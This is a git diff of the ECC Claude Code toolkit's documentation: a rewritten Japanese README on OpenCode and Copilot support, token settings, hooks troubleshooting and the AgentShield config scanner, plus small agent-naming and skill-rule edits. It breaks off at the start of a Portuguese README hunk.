+OpenCode サポートの詳細 + +ECC は、instructions、カタログのサブセット、コマンド、カスタムツール、hook イベントを備えた beta 版の OpenCode plugin 統合を提供します。Claude Code との機能同等性は提供しません。リファレンス設定は、プロバイダー固有のモデルを固定するのではなく、ユーザーの OpenCode でのモデル選択を継承します。 + +```bash +# リポジトリのルートで、レビュー済みの OpenCode インストールを実行 +opencode +``` + +インストールには[公式の OpenCode の手順](https://opencode.ai/docs/)を使用し、正確なリリースを選択して、実行前に検証してください。上流の npm パッケージは `opencode` ではなく `opencode-ai` です。ECC は監査済みの OpenCode ランタイムバージョンを保証するものではありません。 + +設定は `.opencode/opencode.json` から自動的に検出されます。 + +#### plugins による hook サポート + +OpenCode の plugin システムには 20 種類以上のイベントタイプがあります: + +| Claude Code Hook | OpenCode Plugin イベント | +|-----------------|----------------------| +| PreToolUse | `tool.execute.before` | +| PostToolUse | `tool.execute.after` | +| Stop | `session.idle` | +| SessionStart | `session.created` | +| SessionEnd | `session.deleted` | + +**追加の OpenCode イベント**:`file.edited`、`file.watcher.updated`、`message.updated`、`lsp.client.diagnostics`、`tui.toast.show` など。 + +#### Plugin のインストール + +**オプション 1:直接使用** +```bash +cd ECC +opencode +``` + +**オプション 2:npm パッケージとしてインストール** +```bash +npm install ecc-universal@2.2.1 +``` + +次に `opencode.json` に追加します: +```json +{ + "plugin": ["ecc-universal"] +} +``` + +この npm plugin エントリは、ECC が公開している OpenCode plugin モジュール(hooks/イベントと plugin ツール)を有効化します。ECC の完全なコマンド/agent/instruction カタログをプロジェクト設定に自動的に追加することは**ありません**。 + +完全な ECC OpenCode セットアップには、次のいずれかを行ってください: +- このリポジトリ内で OpenCode を実行する +- 同梱の `.opencode/` 設定アセットをプロジェクトにコピーし、`opencode.json` に `instructions`、`agent`、`command` のエントリを配線する + +#### ドキュメント + +- **移行ガイド**:`.opencode/MIGRATION.md` +- **OpenCode Plugin README**:`.opencode/README.md` +- **統合 Rules**:`.opencode/instructions/INSTRUCTIONS.md` +- **LLM ドキュメント**:`llms.txt`(LLM 向けの完全な OpenCode ドキュメント) +
+ +
+GitHub Copilot サポートの詳細 + +ECC は、Copilot Chat のネイティブな instruction とプロンプトファイルのシステムを通じて、VS Code 向けの **GitHub Copilot サポート**を提供します。追加のツールは必要ありません。 + +#### GitHub Copilot 向けに含まれるもの + +| コンポーネント | ファイル | 目的 | +|-----------|------|---------| +| コア instructions | `.github/copilot-instructions.md` | 常時読み込まれる rules:コーディングスタイル、セキュリティ、テスト、git ワークフロー | +| VS Code 設定 | `.vscode/settings.json` | コード生成、テスト生成、コミットメッセージ向けのタスク別 instruction ファイル | +| Plan プロンプト | `.github/prompts/plan.prompt.md` | 段階的な実装計画 | +| TDD プロンプト | `.github/prompts/tdd.prompt.md` | Red-Green-Improve サイクル | +| セキュリティレビュープロンプト | `.github/prompts/security-review.prompt.md` | OWASP に沿った詳細なセキュリティ分析 | +| ビルド修正プロンプト | `.github/prompts/build-fix.prompt.md` | 体系的なビルドおよび CI エラーの解決 | +| リファクタリングプロンプト | `.github/prompts/refactor.prompt.md` | デッドコードの削除と簡素化 | + +これらのファイルはすでに配置されています。このプロジェクトを含む任意のリポジトリを開けば、GitHub Copilot Chat は自動的に `.github/copilot-instructions.md` を読み込みます。コミット済みの `.vscode/settings.json` は `chat.promptFiles` を有効化しているため、VS Code は `.github/prompts/` から再利用可能なプロンプトを読み込めます。 + +Copilot Chat でワークフロープロンプトを使用するには: +1. VS Code で Copilot Chat パネルを開きます。 +2. **クリップ / 添付**アイコンをクリックして **Prompt...** を選択するか、`/` を入力してプロンプトを選択します。 +3. プロンプト(例:`plan`、`tdd`、`security-review`)を選択します。 + +#### 機能カバレッジ + +| ECC の機能 | Copilot での相当機能 | +|-------------|-------------------| +| コーディング標準 | `copilot-instructions.md` 経由で常時有効 | +| セキュリティチェックリスト | 常時有効 + `security-review` プロンプト | +| テスト / TDD | 常時有効 + `tdd` プロンプト | +| 実装計画 | `plan` プロンプト | +| コードレビュー | CodeRabbit + Greptile による外部 PR レビュー | +| ビルドエラー解決 | `build-fix` プロンプト | +| リファクタリング | `refactor` プロンプト | +| コミットメッセージ形式 | `settings.json` のタスク別 instruction | +| Hooks / 自動化 | 非対応(Copilot には hook システムがありません) | +| Agents / 委譲 | 非対応(Copilot にはサブエージェント API がありません) | + +#### 制限 + +GitHub Copilot には hook システムもサブエージェント API もないため、ECC の hook 自動化(自動フォーマット、TypeScript チェック、セッション永続化、開発サーバーガード)と agent 委譲は利用できません。それでも instruction とプロンプトのレイヤーは、ECC のコーディング哲学(標準、セキュリティ、TDD、ワークフロー)をすべての Copilot Chat セッションにもたらします。 +
+ +
+v2.0.0 での変更点 + +ECC v2.0.0 は、公開された Hermes オペレーターストーリー、281 の skills、67 の agents、94 のコマンドシム、セッションアダプター、MCP インベントリ、worktree ライフサイクルサービス、オーケストレーターワークフロー、ECC Discord コミュニティによって 2.0 系を安定化させます。 + +- [v2.0.0 リリースノート](../releases/2.0.0/release-notes.md) +- [ECC 2.0 リファレンスアーキテクチャ](../ECC-2.0-REFERENCE-ARCHITECTURE.md) +- [Hermes セットアップガイド](../HERMES-SETUP.md) +- [1.x からの移行ガイド](../MIGRATION-1X-TO-2.0.md) +
+
+ +## トークン最適化 + +トークン消費を管理しないと、エージェントの利用は高コストになりがちです。以下の設定は、品質を犠牲にすることなくコストを大幅に削減します。完全なガイド:[docs/token-optimization.md](../token-optimization.md)。 + +
+推奨設定 + +`~/.claude/settings.json` に追加してください: + +```json +{ + "model": "sonnet", + "env": { + "MAX_THINKING_TOKENS": "10000", + "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE": "50", + "CLAUDE_CODE_SUBAGENT_MODEL": "haiku" + } +} +``` + +| 設定 | デフォルト | 推奨 | 効果 | +|---------|---------|-------------|--------| +| `model` | opus | **sonnet** | 約 60% のコスト削減。コーディングタスクの 80% 以上に対応 | +| `MAX_THINKING_TOKENS` | 31,999 | **10,000** | リクエストごとの隠れた思考コストを約 70% 削減 | +| `CLAUDE_AUTOCOMPACT_PCT_OVERRIDE` | 95 | **50** | より早くコンパクト化し、長いセッションでの品質が向上 | +| `ECC_CONTEXT_MONITOR_COST_WARNINGS` | on | **サブスクリプション利用者は off** | コンテキスト/スコープ/ループの警告は維持しつつ、agent 向けの API 従量課金見積もり警告を抑制 | + +深いアーキテクチャの推論が必要なときだけ Opus に切り替えてください: +``` +/model opus +``` +
+ +
+日常のワークフローコマンド + +| コマンド | 使うタイミング | +|---------|-------------| +| `/model sonnet` | ほとんどのタスクのデフォルト | +| `/model opus` | 複雑なアーキテクチャ、デバッグ、深い推論 | +| `/clear` | 無関係なタスクの間(無料、即時リセット) | +| `/compact` | タスクの論理的な区切り(調査完了、マイルストーン達成) | +| `/cost` | セッション中のトークン消費を監視 | + +サブスクリプションを利用していて、コンテキストモニターの API 従量課金見積もりが役に立たない場合は、`ECC_CONTEXT_MONITOR_COST_WARNINGS=off` を設定してください。これは agent 向けのコスト警告のみを抑制するもので、コンテキスト枯渇、スコープ、ループの警告は無効化しません。 +
+ +
+戦略的コンパクト化 + +`strategic-compact` skill は、コンテキスト 95% での自動コンパクト化に頼るのではなく、論理的な区切りで `/compact` を提案します。判断ガイドの全文は `skills/strategic-compact/SKILL.md` を参照してください。 + +**コンパクト化すべきタイミング:** +- 調査/探索の後、実装の前 +- マイルストーン完了後、次に取りかかる前 +- デバッグの後、機能開発を続ける前 +- 失敗したアプローチの後、新しいアプローチを試す前 + +**コンパクト化すべきでないタイミング:** +- 実装の途中(変数名、ファイルパス、途中の状態が失われます) +
+ +
+コンテキストウィンドウの管理 + +**重要:**すべての MCP を一度に有効化しないでください。各 MCP のツール説明は 200k のウィンドウからトークンを消費し、約 70k まで減らしてしまう可能性があります。 + +- プロジェクトごとに有効化する MCP は 10 未満に抑える +- アクティブなツールは 80 未満に抑える +- 使っていない Claude Code の MCP サーバーは `/mcp` で無効化する。これらのランタイムでの選択は `~/.claude.json` に永続化される +- `ECC_DISABLED_MCPS` は、インストール/sync フロー中に ECC が生成する MCP 設定をフィルタリングする場合にのみ使用する +- コンテキストが重くなってきたら、`/context-budget` を実行して不要な rules を削除する + +**Agent teams のコスト警告:**Agent Teams は複数のコンテキストウィンドウを生成します。各チームメイトは独立してトークンを消費します。並列化が明確な価値をもたらすタスク(複数モジュールの作業、並列レビュー)にのみ使用してください。単純な逐次タスクでは、サブエージェントの方がトークン効率に優れています。 +
+ +## 要件 + +
+Claude Code CLI のバージョン + hooks の自動読み込み動作 + +### Claude Code CLI のバージョン + +**最小バージョン:v2.1.0 以降。**plugin システムの hooks の扱いが変更されたため、この plugin には Claude Code CLI v2.1.0 以降が必要です。 + +バージョンを確認してください: +```bash +claude --version +``` + +### 重要:hooks の自動読み込み動作 + +> WARNING: **コントリビューター向け:**`.claude-plugin/plugin.json` に `"hooks"` フィールドを追加しないでください。これはリグレッションテストで強制されています。 + +Claude Code v2.1 以降は、インストールされた任意の plugin の `hooks/hooks.json` を規約により**自動的に読み込みます**。`plugin.json` で明示的に宣言すると重複検出エラーが発生します: + +``` +Duplicate hooks file detected: ./hooks/hooks.json resolves to already-loaded file +``` + +**経緯:**この問題はこのリポジトリで修正/差し戻しのサイクルを繰り返し引き起こしてきました([#29](https://github.com/affaan-m/ECC/issues/29)、[#52](https://github.com/affaan-m/ECC/issues/52)、[#103](https://github.com/affaan-m/ECC/issues/103))。Claude Code のバージョン間で動作が変わり、混乱を招きました。現在は再発を防ぐためのリグレッションテストがあります。 +
+ +## セキュリティ + +ECC は公式ソースからのみインストールしてください: + +- GitHub リポジトリ: +- Claude Code plugin:`ecc@ecc` +- npm パッケージ:[`ecc-universal`](https://www.npmjs.com/package/ecc-universal) と [`ecc-agentshield`](https://www.npmjs.com/package/ecc-agentshield) +- GitHub App: +- Web サイト: + +すでにインストール済みのレビュー済み AgentShield バイナリでプロジェクトをスキャンします([ランナーの出所](#agentshield-runner-provenance)を参照): + +```bash +agentshield scan --path . +``` + +- **脆弱性の報告。**[SECURITY.md](../../SECURITY.md) に記載の非公開プロセス(GitHub のプライベート脆弱性報告)を使用してください。セキュリティ報告のために公開 issue を開かないでください。 +- **組み込みのガードレール。**GateGuard は破壊的なシェルコマンド(`rm`、force/path 指定の `git checkout`、破壊的な `find -exec` を含む)を実行前にゲートします。サプライチェーン IOC スキャナーは CI で実行され、AgentShield はあなた自身の agent、hook、MCP、権限、シークレットの各領域を監査します(`/security-scan`)。 + +
+Hooks、MCP サーバー、コンテキスト制御 + +hooks はシェルコマンドを実行でき、MCP サーバーは認証情報を保持でき、プロジェクトの instructions はエージェントのコンテキストに入り込めます。この 3 つすべてを実行可能な設定として扱ってください。 + +plugin インストール後に、生の `hooks/hooks.json` を `~/.claude/settings.json` にコピーしないでください。最近の Claude Code バージョンは plugin の hooks を自動的に読み込むため、2 つ目のコピーがあると二重に発火する可能性があります。 + +Claude Code のランタイムでの無効化には `/mcp` を使用してください。Claude Code はその選択を `~/.claude.json` に永続化します。 + +`ECC_DISABLED_MCPS` は ECC のインストール/sync フィルターであり、Claude Code のライブなトグルではありません。 + +コンテキストが重くなってきたら、`/context-budget` を実行し、不要な rules を削除し、使っていない MCP サーバーを無効化してください。[トークン最適化ガイド](../token-optimization.md)を参照してください。 +
+ +セキュリティ関連の参考資料: + +- [セキュリティポリシー](../../SECURITY.md) +- [セキュリティガイド](../../the-security-guide.md) +- [MCP コネクターポリシー](../MCP-CONNECTOR-POLICY.md) +- [サプライチェーンインシデント対応](../security/supply-chain-incident-response.md) + +## エコシステムツール + +
+Skill Creator:git 履歴から skills を生成する + +リポジトリから skills を生成する方法は 2 つあります: + +### オプション A:ローカル分析(組み込み) + +外部サービスを使わないローカル分析には `/skill-create` コマンドを使用してください: + +```bash +/skill-create # 現在のリポジトリを分析 +/skill-create --instincts # continuous-learning-v2 向けの instincts も生成 +``` + +これは git 履歴をローカルで分析し、SKILL.md ファイルを生成します。 + +### オプション B:GitHub App(高度) + +高度な機能(10k 以上のコミット、自動 PR、チーム共有)には: + +[ECC Tools GitHub App をインストール](https://github.com/apps/ecc-tools) | [ecc.tools](https://ecc.tools) + +```bash +# 任意の issue にコメント: +/ecc-tools analyze +``` + +どちらのオプションでも以下が作成されます: +- **SKILL.md ファイル**:アクティブなハーネスですぐに使える skills +- **Instinct コレクション**:continuous-learning-v2 向け +- **パターン抽出**:コミット履歴から学習 +
+ +
+AgentShield:エージェント設定のセキュリティ監査ツール + +> Claude Code ハッカソン(Cerebral Valley x Anthropic、2026 年 2 月)で構築。1282 のテスト、98% のカバレッジ、102 の静的解析ルール。 + +エージェント設定の脆弱性、設定ミス、インジェクションリスクをスキャンします。 + + +**ランナーの出所:**これらのコマンドには、`ecc-agentshield` からインストール済みのレビュー済み AgentShield バイナリが必要です。[公式パッケージ](https://www.npmjs.com/package/ecc-agentshield)が `agentshield` CLI を文書化しています。選択したリリース、レビューしたソース、検証済みのパッケージ整合性をインストール記録に残してください。レジストリへの公開だけでは監査済みとは言えません。ECC はここで監査済みの AgentShield のピン留めを提供しません。バージョン指定のないワンショットダウンロードで代用しないでください。`/security-scan` はワークフローのガイダンスであり、同じランナーの前提条件があります。 + +```bash +# 意図したプロジェクトディレクトリのみをスキャン +agentshield scan --path . + +# 安全な問題を自動修正 +agentshield scan --path . --fix + +# 3 つの Opus 4.6 エージェントによる詳細分析 +agentshield scan --path . --opus --stream + +# 安全な設定をゼロから生成 +agentshield init +``` + +**スキャン対象:**CLAUDE.md、settings.json、MCP 設定、hooks、agent 定義、skills を 5 つのカテゴリで検査します:シークレット検出(14 パターン)、権限監査、hook インジェクション分析、MCP サーバーのリスクプロファイリング、agent 設定レビュー。 + +**`--opus` フラグ**は、レッドチーム/ブルーチーム/監査人のパイプラインで 3 つの Claude Opus 4.6 エージェントを実行します。攻撃者がエクスプロイトチェーンを見つけ、防御者が保護を評価し、監査人が両者を統合して優先順位付きのリスク評価を作成します。単なるパターンマッチングではなく、敵対的な推論です。 + +**出力形式:**ターミナル(A-F の色付き評価)、JSON(CI パイプライン)、Markdown、HTML。ビルドゲート用に、重大な検出があると終了コード 2 を返します。 + +Claude Code で実行するには `/security-scan` を使うか、[GitHub Action](https://github.com/affaan-m/agentshield) で CI に追加してください。 + +[GitHub](https://github.com/affaan-m/agentshield) | [npm](https://www.npmjs.com/package/ecc-agentshield) +
+ +
+継続的学習 v2:instincts + +instinct ベースの学習システムは、あなたのパターンを自動的に学習します: + +```bash +/instinct-status # 学習済み instincts を信頼度とともに表示 +/instinct-import # 他の人の instincts をインポート +/instinct-export # 共有用に自分の instincts をエクスポート +/evolve # 関連する instincts を skills にクラスタリング +``` + +完全なドキュメントは `skills/continuous-learning-v2/` を参照してください。`continuous-learning/` は、レガシーの v1 Stop-hook による学習済み skill フローを明示的に使いたい場合にのみ残してください。 +
+ +## トラブルシューティング + +
+ECC が二重に表示される、または hooks が二重に発火する + +よくある原因は、Claude plugin をインストールした上に `./install.sh --profile full` を実行することです。 + +1. Claude Code plugin のインストールを削除します。 +2. ECC のチェックアウトから `node scripts/ecc.js uninstall --dry-run` を実行します。 +3. 手動でコピーした不要な rule フォルダを削除します。 +4. 1 つの方法で一度だけ再インストールします。 + +hook 固有のチェックについては、[hooks README](../../hooks/README.md) を参照してください。 +
+ +
+hooks が動作しない / "Duplicate hooks file" エラー + +**`.claude-plugin/plugin.json` に `"hooks"` フィールドを追加しないでください。**Claude Code v2.1 以降は、インストールされた plugins の `hooks/hooks.json` を自動的に読み込みます。明示的に宣言すると重複検出エラーが発生します。[#29](https://github.com/affaan-m/ECC/issues/29)、[#52](https://github.com/affaan-m/ECC/issues/52)、[#103](https://github.com/affaan-m/ECC/issues/103) を参照してください。 +
+ +
+Codex マーケットプレイスからインストールできるが skills が読み込まれない + +ECC のチェックアウトからキャッシュチェックを実行してください: + +```bash +node scripts/codex/check-plugin-cache.js +``` + +未解決の親参照が報告された場合は、`codex plugin marketplace upgrade ecc` でネイティブキャッシュを更新し、`codex plugin add ecc@ecc` を再度実行して、Codex を再起動してください。`codex plugin list` への登録はマーケットプレイスのエントリを確認するものであり、キャッシュチェックはインストール済みマニフェストがその skills、MCP 設定、アセットを解決できることを検証します。`bash scripts/sync-ecc-to-codex.sh` は、レガシーのコピー式設定による互換性パスが意図的に必要な場合にのみ使用してください。 +
+ +さらなる回答:[TROUBLESHOOTING.md](../../TROUBLESHOOTING.md) はメモリ、hooks、インストール、パフォーマンス、よくあるエラーメッセージを扱っています。[docs/TROUBLESHOOTING.md](../TROUBLESHOOTING.md) は Claude Code の未解決バグに対する回避策を追跡しています。 + +## テストの実行 + +この plugin には包括的なテストスイートが含まれています: ```bash # すべてのテストを実行 @@ -588,211 +1946,67 @@ node tests/lib/package-manager.test.js node tests/hooks/hooks.test.js ``` ---- - -## 貢献 - -**貢献は大歓迎で、奨励されています。** - -このリポジトリはコミュニティリソースを目指しています。以下のようなものがあれば: -- 有用なエージェントまたはスキル -- 巧妙なフック -- より良い MCP 設定 -- 改善されたルール - -ぜひ貢献してください!ガイドについては[CONTRIBUTING.md](CONTRIBUTING.md)を参照してください。 - -### 貢献アイデア - -- 言語固有のスキル(Rust、C#、Swift、Kotlin) — Go、Python、Javaは既に含まれています -- フレームワーク固有の設定(Rails、Laravel、FastAPI) — Django、NestJS、Spring Bootは既に含まれています -- DevOpsエージェント(Kubernetes、Terraform、AWS、Docker) -- テスト戦略(異なるフレームワーク、ビジュアルリグレッション) -- 専門領域の知識(ML、データエンジニアリング、モバイル開発) - ---- - -## Cursor IDE サポート - -ecc-universal は [Cursor IDE](https://cursor.com) の事前翻訳設定を含みます。`.cursor/` ディレクトリには、Cursor フォーマット向けに適応されたルール、エージェント、スキル、コマンド、MCP 設定が含まれています。 - -### クイックスタート (Cursor) - -```bash -# パッケージをインストール -npm install ecc-universal - -# 言語をインストール -./install.sh --target cursor typescript -./install.sh --target cursor python golang -``` - -### 翻訳内容 - -| コンポーネント | Claude Code → Cursor | パリティ | -|-----------|---------------------|--------| -| Rules | YAML フロントマター追加、パスフラット化 | 完全 | -| Agents | モデル ID 展開、ツール → 読み取り専用フラグ | 完全 | -| Skills | 変更不要(同一の標準) | 同一 | -| Commands | パス参照更新、multi-* スタブ化 | 部分的 | -| MCP Config | 環境補間構文更新 | 完全 | -| Hooks | Cursor相当なし | 別の方法を参照 | - -詳細は[.cursor/README.md](.cursor/README.md)および完全な移行ガイドは[.cursor/MIGRATION.md](.cursor/MIGRATION.md)を参照してください。 - ---- - -## OpenCodeサポート - -ECCは**フルOpenCodeサポート**をプラグインとフック含めて提供。 - -### クイックスタート - -```bash -# OpenCode をインストール -npm install -g opencode - -# リポジトリルートで実行 -opencode -``` - -設定は`.opencode/opencode.json`から自動検出されます。 - -### 機能パリティ - -| 機能 | Claude Code | OpenCode | ステータス | -|---------|-------------|----------|--------| -| Agents | PASS: 14 エージェント | PASS: 12 エージェント | **Claude Code がリード** | -| Commands | PASS: 30 コマンド | PASS: 24 コマンド | **Claude Code がリード** | -| Skills | PASS: 28 スキル | PASS: 16 スキル | **Claude Code がリード** | -| Hooks | PASS: 3 フェーズ | PASS: 20+ イベント | **OpenCode が多い!** | -| Rules | PASS: 8 ルール | PASS: 8 ルール | **完全パリティ** | -| MCP Servers | PASS: 完全 | PASS: 完全 | **完全パリティ** | -| Custom Tools | PASS: フック経由 | PASS: ネイティブサポート | **OpenCode がより良い** | - -### プラグイン経由のフックサポート - -OpenCodeのプラグインシステムはClaude Codeより高度で、20+イベントタイプ: - -| Claude Code フック | OpenCode プラグインイベント | -|-----------------|----------------------| -| PreToolUse | `tool.execute.before` | -| PostToolUse | `tool.execute.after` | -| Stop | `session.idle` | -| SessionStart | `session.created` | -| SessionEnd | `session.deleted` | - -**追加OpenCodeイベント**: `file.edited`, `file.watcher.updated`, `message.updated`, `lsp.client.diagnostics`, `tui.toast.show`など。 - -### 利用可能なコマンド(24) - -| コマンド | 説明 | -|---------|-------------| -| `/plan` | 実装計画を作成 | -| `/tdd` | TDD ワークフロー実行 | -| `/code-review` | コード変更をレビュー | -| `/security` | セキュリティレビュー実行 | -| `/build-fix` | ビルドエラーを修正 | -| `/e2e` | E2E テストを生成 | -| `/refactor-clean` | デッドコードを削除 | -| `/orchestrate` | マルチエージェント ワークフロー | -| `/learn` | セッションからパターン抽出 | -| `/checkpoint` | 検証状態を保存 | -| `/verify` | 検証ループを実行 | -| `/eval` | 基準に対して評価 | -| `/update-docs` | ドキュメントを更新 | -| `/update-codemaps` | コードマップを更新 | -| `/test-coverage` | カバレッジを分析 | -| `/go-review` | Go コードレビュー | -| `/go-test` | Go TDD ワークフロー | -| `/go-build` | Go ビルドエラーを修正 | -| `/skill-create` | Git からスキル生成 | -| `/instinct-status` | 学習した直感を表示 | -| `/instinct-import` | 直感をインポート | -| `/instinct-export` | 直感をエクスポート | -| `/evolve` | 直感をスキルにクラスタリング | -| `/setup-pm` | パッケージマネージャーを設定 | - -### プラグインインストール - -**オプション1:直接使用** -```bash -cd everything-claude-code -opencode -``` - -**オプション2:npmパッケージとしてインストール** -```bash -npm install ecc-universal -``` - -その後`opencode.json`に追加: -```json -{ - "plugin": ["ecc-universal"] -} -``` - -### ドキュメンテーション - -- **移行ガイド**: `.opencode/MIGRATION.md` -- **OpenCode プラグイン README**: `.opencode/README.md` -- **統合ルール**: `.opencode/instructions/INSTRUCTIONS.md` -- **LLM ドキュメンテーション**: `llms.txt`(完全な OpenCode ドキュメント) - ---- - ## 背景 -実験的なリリース以来、Claude Codeを使用してきました。2025年9月、[@DRodriguezFX](https://x.com/DRodriguezFX)と一緒にClaude Codeで[zenith.chat](https://zenith.chat)を構築し、Anthropic x Forum Venturesハッカソンで優勝しました。 +私は実験的なロールアウトの頃から Claude Code を使ってきました。2025 年 9 月に [@DRodriguezFX](https://x.com/DRodriguezFX) とともに Anthropic x Forum Ventures ハッカソンで優勝し、[zenith.chat](https://zenith.chat) を完全にエージェント型ワークフローで構築しました。 -これらの設定は複数の本番環境アプリケーションで実戦テストされています。 +これらの設定は、複数の本番アプリケーションで実戦検証済みです。 ---- +## コミュニティとプロジェクト -## WARNING: 重要な注記 +
+スポンサーと ECC Pro -### コンテキストウィンドウ管理 +ECC が無料であり続けられるのは、スポンサーと Pro ユーザーが活動を支えてくれているからです。スポンサーのロゴはこの README の冒頭にあり、完全な一覧とティアは [SPONSORS.md](../../SPONSORS.md) にあります。 -**重要:** すべてのMCPを一度に有効にしないでください。多くのツールを有効にすると、200kのコンテキストウィンドウが70kに縮小される可能性があります。 +ECC Pro は、ホスト型 GitHub App を通じて、プライベートリポジトリの分析、PR トリガーの監査、AgentShield ベースのスキャン、自動 push および PR チェック、チームでの共有利用枠、優先サポートを追加します。 -経験則: -- 20-30のMCPを設定 -- プロジェクトごとに10未満を有効にしたままにしておく -- アクティブなツール80未満 + + + + + + + +
ECC Pro
プライベートリポジトリ向けホスト型 GitHub App
ECC をスポンサーする
OSS 活動を支援する
コミュニティ
Q&A、アイデア、Show and Tell
GitHub App
PR 監査とホスト型ワークフロー
-プロジェクト設定で`disabledMcpServers`を使用して、未使用のツールを無効にします。 +[スポンサーになる](https://github.com/sponsors/affaan-m) | [スポンサーティア](../../SPONSORS.md) | [スポンサーシッププログラム](../../SPONSORING.md) +
-### カスタマイズ +
+コントリビューション -これらの設定は私のワークフロー用です。あなたは以下を行うべきです: -1. 共感できる部分から始める -2. 技術スタックに合わせて修正 -3. 使用しない部分を削除 -4. 独自のパターンを追加 +skills、agents、rules、hooks、ドキュメント、テスト、アダプター、セキュリティ改善など、あらゆる分野でのコントリビューションを歓迎します。 ---- +- [コントリビューションガイド](../../CONTRIBUTING.md) +- [Skill 開発ガイド](../SKILL-DEVELOPMENT-GUIDE.md) +- [Skill 配置ポリシー](../SKILL-PLACEMENT-POLICY.md) +- [コマンド クイックリファレンス](./COMMANDS-QUICK-REF.md) -## Star 履歴 +要約すると: +1. リポジトリをフォークします +2. `skills/your-skill-name/SKILL.md` に skill を作成します(YAML frontmatter 付き) +3. または `agents/your-agent.md` に agent を作成します +4. 何をするものか、いつ使うのかを明確に説明した PR を送ります -[![Star History Chart](https://api.star-history.com/svg?repos=affaan-m/everything-claude-code&type=Date)](https://star-history.com/#affaan-m/everything-claude-code&Date) +**コントリビューションのアイデア:** ---- +- 言語固有の skills(Rust、C#、Kotlin、Java):Go、Python、Perl、Swift、TypeScript、HarmonyOS/ArkTS はすでに含まれています +- フレームワーク固有の設定(Rails、FastAPI):Django、NestJS、Spring Boot、Laravel はすでに含まれています +- DevOps agents(Kubernetes、Terraform、AWS、Docker) +- テスト戦略(さまざまなフレームワーク、ビジュアルリグレッション) +- ドメイン固有の知識(ML、データエンジニアリング、モバイル) +
## リンク -- **簡潔ガイド(まずはこれ):** [Everything Claude Code 簡潔ガイド](https://x.com/affaanmustafa/status/2012378465664745795) -- **詳細ガイド(高度):** [Everything Claude Code 詳細ガイド](https://x.com/affaanmustafa/status/2014040193557471352) -- **フォロー:** [@affaanmustafa](https://x.com/affaanmustafa) -- **zenith.chat:** [zenith.chat](https://zenith.chat) -- **スキル ディレクトリ:** awesome-agent-skills(コミュニティ管理のエージェントスキル ディレクトリ) - ---- +- **簡潔ガイド(まずはここから):**[ECC 簡潔ガイド](https://x.com/affaan/status/2012378465664745795) +- **長文ガイド(上級者向け):**[ECC 長文ガイド](https://x.com/affaan/status/2014040193557471352) +- **セキュリティガイド:**[セキュリティガイド](../../the-security-guide.md) | [スレッド](https://x.com/affaan/status/2033263813387223421) +- **フォロー:**[@affaan](https://x.com/affaan) ## ライセンス -MIT - 自由に使用、必要に応じて修正、可能であれば貢献してください。 +MIT。自由に使い、自分のワークフローに合わせて調整し、できるときには貢献を返してください。 ---- - -**このリポジトリが役に立ったら、Star を付けてください。両方のガイドを読んでください。素晴らしいものを構築してください。** +**役に立ったらこのリポジトリにスターを。ガイドを読んでください。素晴らしいものを作りましょう。** diff --git a/docs/ja-JP/rules/common/agents.md b/docs/ja-JP/rules/common/agents.md index 92137264a..71cd7754e 100644 --- a/docs/ja-JP/rules/common/agents.md +++ b/docs/ja-JP/rules/common/agents.md @@ -2,27 +2,34 @@ ## 利用可能な Agent -`~/.claude/agents/` に配置: +ECC の Agent は `ecc@ecc` プラグインに同梱されており、`~/.claude/agents/` には配置されません。 +Agent ツールではプラグインスコープの `subagent_type` で呼び出します: + +```text +Agent(subagent_type: "ecc:planner", prompt: "...") +``` | Agent | 目的 | 使用タイミング | |-------|---------|-------------| -| planner | 実装計画 | 複雑な機能、リファクタリング | -| architect | システム設計 | アーキテクチャの意思決定 | -| tdd-guide | テスト駆動開発 | 新機能、バグ修正 | -| code-reviewer | コードレビュー | コード記述後 | -| security-reviewer | セキュリティ分析 | コミット前 | -| build-error-resolver | ビルドエラー修正 | ビルド失敗時 | -| e2e-runner | E2Eテスト | 重要なユーザーフロー | -| refactor-cleaner | デッドコードクリーンアップ | コードメンテナンス | -| doc-updater | ドキュメント | ドキュメント更新 | +| ecc:planner | 実装計画 | 複雑な機能、リファクタリング | +| ecc:architect | システム設計 | アーキテクチャの意思決定 | +| ecc:tdd-guide | テスト駆動開発 | 新機能、バグ修正 | +| ecc:code-reviewer | コードレビュー | コード記述後 | +| ecc:security-reviewer | セキュリティ分析 | コミット前 | +| ecc:build-error-resolver | ビルドエラー修正 | ビルド失敗時 | +| ecc:e2e-runner | E2Eテスト | 重要なユーザーフロー | +| ecc:refactor-cleaner | デッドコードクリーンアップ | コードメンテナンス | +| ecc:doc-updater | ドキュメント | ドキュメント更新 | + +全 68 Agent の一覧は `/ecc:ecc-guide` を参照。 ## Agent の即座の使用 ユーザープロンプト不要: -1. 複雑な機能リクエスト - **planner** agent を使用 -2. コード作成/変更直後 - **code-reviewer** agent を使用 -3. バグ修正または新機能 - **tdd-guide** agent を使用 -4. アーキテクチャの意思決定 - **architect** agent を使用 +1. 複雑な機能リクエスト - **ecc:planner** agent を使用 +2. コード作成/変更直後 - **ecc:code-reviewer** agent を使用 +3. バグ修正または新機能 - **ecc:tdd-guide** agent を使用 +4. アーキテクチャの意思決定 - **ecc:architect** agent を使用 ## 並列タスク実行 diff --git a/docs/ja-JP/skills/github-ops/SKILL.md b/docs/ja-JP/skills/github-ops/SKILL.md index 81dd2dd17..0844994f9 100644 --- a/docs/ja-JP/skills/github-ops/SKILL.md +++ b/docs/ja-JP/skills/github-ops/SKILL.md @@ -126,11 +126,11 @@ gh api repos/{owner}/{repo}/dependabot/alerts --jq '.[].security_advisory.summar # Check secret scanning alerts gh api repos/{owner}/{repo}/secret-scanning/alerts --jq '.[].state' -# Review and auto-merge safe dependency bumps +# Review dependency bumps — merging is a user-authorized action (propose, never auto-merge) gh pr list --label "dependencies" --json number,title ``` -- Review and auto-merge safe dependency bumps +- Review safe dependency bumps and propose merges for user approval — never auto-merge - Flag any critical/high severity alerts immediately - Check for new Dependabot alerts weekly at minimum diff --git a/docs/ja-JP/skills/motion-ui/SKILL.md b/docs/ja-JP/skills/motion-ui/SKILL.md deleted file mode 100644 index f0c00fd66..000000000 --- a/docs/ja-JP/skills/motion-ui/SKILL.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -name: motion-ui -description: 日本語翻訳:このファイルは motion-ui 用の日本語翻訳が必要です -origin: ECC ---- - -# motion-ui - 日本語翻訳進行中 - -このファイルの翻訳は実装中です。英語版は元のスキルファイルを参照してください。 - -詳細は:`D:/tmp/everything-claude-code/skills/motion-ui/SKILL.md` diff --git a/docs/pt-BR/README.md b/docs/pt-BR/README.md index c0d9203b6..e33eff641 100644 --- a/docs/pt-BR/README.md +++ b/docs/pt-BR/README.md @@ -79,7 +79,7 @@ Este repositório contém 